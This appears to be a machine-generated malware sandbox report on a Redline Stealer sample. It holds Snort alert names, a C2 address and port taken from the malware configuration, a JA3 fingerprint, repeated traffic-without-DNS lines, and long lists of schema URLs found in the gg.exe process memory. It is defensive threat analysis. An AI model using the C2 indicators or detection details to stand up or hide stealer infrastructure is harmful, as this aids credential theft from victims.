Source: Traffic	Snort IDS: 2043231 ET TROJAN Redline Stealer TCP CnC Activity 192.168.2.4:49738 -> 67.203.7.148:2909
Source: Traffic	Snort IDS: 2043234 ET MALWARE Redline Stealer TCP CnC - Id1Response 67.203.7.148:2909 -> 192.168.2.4:49738
Source: Traffic	Snort IDS: 2046056 ET TROJAN Redline Stealer/MetaStealer Family Activity (Response) 67.203.7.148:2909 -> 192.168.2.4:49738

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 67.203.7.148:2909

Source: global traffic

TCP traffic: 192.168.2.4:49729 -> 67.203.7.148:2909

Source: Joe Sandbox View

ASN Name: AS-COLOAMUS AS-COLOAMUS

Source: Joe Sandbox View

JA3 fingerprint: c91bde19008eefabce276152ccd51457

Source: unknown	TCP traffic detected without corresponding DNS query: 67.203.7.148
Source: unknown	TCP traffic detected without corresponding DNS query: 67.203.7.148
Source: unknown	TCP traffic detected without corresponding DNS query: 67.203.7.148
Source: unknown	TCP traffic detected without corresponding DNS query: 67.203.7.148
Source: unknown	TCP traffic detected without corresponding DNS query: 67.203.7.148
Source: unknown	TCP traffic detected without corresponding DNS query: 67.203.7.148
Source: unknown	TCP traffic detected without corresponding DNS query: 67.203.7.148
Source: unknown	TCP traffic detected without corresponding DNS query: 67.203.7.148
Source: unknown	TCP traffic detected without corresponding DNS query: 67.203.7.148
Source: unknown	TCP traffic detected without corresponding DNS query: 67.203.7.148
Source: unknown	TCP traffic detected without corresponding DNS query: 67.203.7.148
Source: unknown	TCP traffic detected without corresponding DNS query: 67.203.7.148
Source: unknown	TCP traffic detected without corresponding DNS query: 67.203.7.148
Source: unknown	TCP traffic detected without corresponding DNS query: 67.203.7.148
Source: unknown	TCP traffic detected without corresponding DNS query: 67.203.7.148
Source: unknown	TCP traffic detected without corresponding DNS query: 67.203.7.148
Source: unknown	TCP traffic detected without corresponding DNS query: 67.203.7.148
Source: unknown	TCP traffic detected without corresponding DNS query: 67.203.7.148
Source: unknown	TCP traffic detected without corresponding DNS query: 67.203.7.148
Source: unknown	TCP traffic detected without corresponding DNS query: 67.203.7.148
Source: unknown	TCP traffic detected without corresponding DNS query: 67.203.7.148
Source: unknown	TCP traffic detected without corresponding DNS query: 67.203.7.148
Source: unknown	TCP traffic detected without corresponding DNS query: 67.203.7.148
Source: unknown	TCP traffic detected without corresponding DNS query: 67.203.7.148
Source: unknown	TCP traffic detected without corresponding DNS query: 67.203.7.148
Source: unknown	TCP traffic detected without corresponding DNS query: 67.203.7.148
Source: unknown	TCP traffic detected without corresponding DNS query: 67.203.7.148
Source: unknown	TCP traffic detected without corresponding DNS query: 67.203.7.148
Source: unknown	TCP traffic detected without corresponding DNS query: 67.203.7.148
Source: unknown	TCP traffic detected without corresponding DNS query: 67.203.7.148
Source: unknown	TCP traffic detected without corresponding DNS query: 67.203.7.148
Source: unknown	TCP traffic detected without corresponding DNS query: 67.203.7.148
Source: unknown	TCP traffic detected without corresponding DNS query: 67.203.7.148
Source: unknown	TCP traffic detected without corresponding DNS query: 67.203.7.148
Source: unknown	TCP traffic detected without corresponding DNS query: 67.203.7.148
Source: unknown	TCP traffic detected without corresponding DNS query: 67.203.7.148
Source: unknown	TCP traffic detected without corresponding DNS query: 67.203.7.148
Source: unknown	TCP traffic detected without corresponding DNS query: 67.203.7.148
Source: unknown	TCP traffic detected without corresponding DNS query: 67.203.7.148
Source: unknown	TCP traffic detected without corresponding DNS query: 67.203.7.148
Source: unknown	TCP traffic detected without corresponding DNS query: 67.203.7.148
Source: unknown	TCP traffic detected without corresponding DNS query: 67.203.7.148
Source: unknown	TCP traffic detected without corresponding DNS query: 67.203.7.148
Source: unknown	TCP traffic detected without corresponding DNS query: 67.203.7.148
Source: unknown	TCP traffic detected without corresponding DNS query: 67.203.7.148
Source: unknown	TCP traffic detected without corresponding DNS query: 67.203.7.148
Source: unknown	TCP traffic detected without corresponding DNS query: 67.203.7.148
Source: unknown	TCP traffic detected without corresponding DNS query: 67.203.7.148
Source: unknown	TCP traffic detected without corresponding DNS query: 67.203.7.148
Source: unknown	TCP traffic detected without corresponding DNS query: 67.203.7.148

Source: unknown

DNS traffic detected: queries for: boot.net.anydesk.com

Source: unknown

HTTP traffic detected: POST /httpapi HTTP/1.1Host: api.playanext.comUser-Agent: AnyDesk/8.0.8Accept: */*Content-Length: 352Content-Type: application/x-www-form-urlencodedapi_key=c1426bd258099fa69f62933b466d4b77&event=[{"event_type":"check_offer","user_id":"db0d1542804f0aa5d1ce823eaac0ccac","session_id":1709469788715058,"ip":"$remote","event_properties":{"method_used":"Google Chrome Criteria Checker","offer_product":"Google Chrome","distributor":"AnyDesk","distributor_product":"AnyDesk","user_country":"Switzerland"}}Data Raw: Data Ascii:

Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd
Source: AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp, AnyDesk.exe, 00000013.00000003.1678141318.0000000003182000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://iptc.org/std/Iptc4xmpExt/2008-02-29/
Source: AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp, AnyDesk.exe, 00000013.00000003.1678141318.0000000003182000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.useplus.org/ldf/xmp/1.0/
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2002/12/policy
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/sc
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Issue
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/06/addressingex
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/fault
Source: gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultH
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Commit
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepared
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/fault
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/RegisterResponse
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/fault
Source: gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/LastMessage
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence
Source: gg.exe, 0000000F.00000002.1905680590.000000000324C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rmX
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/sct
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Cancel
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Renew
Source: gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
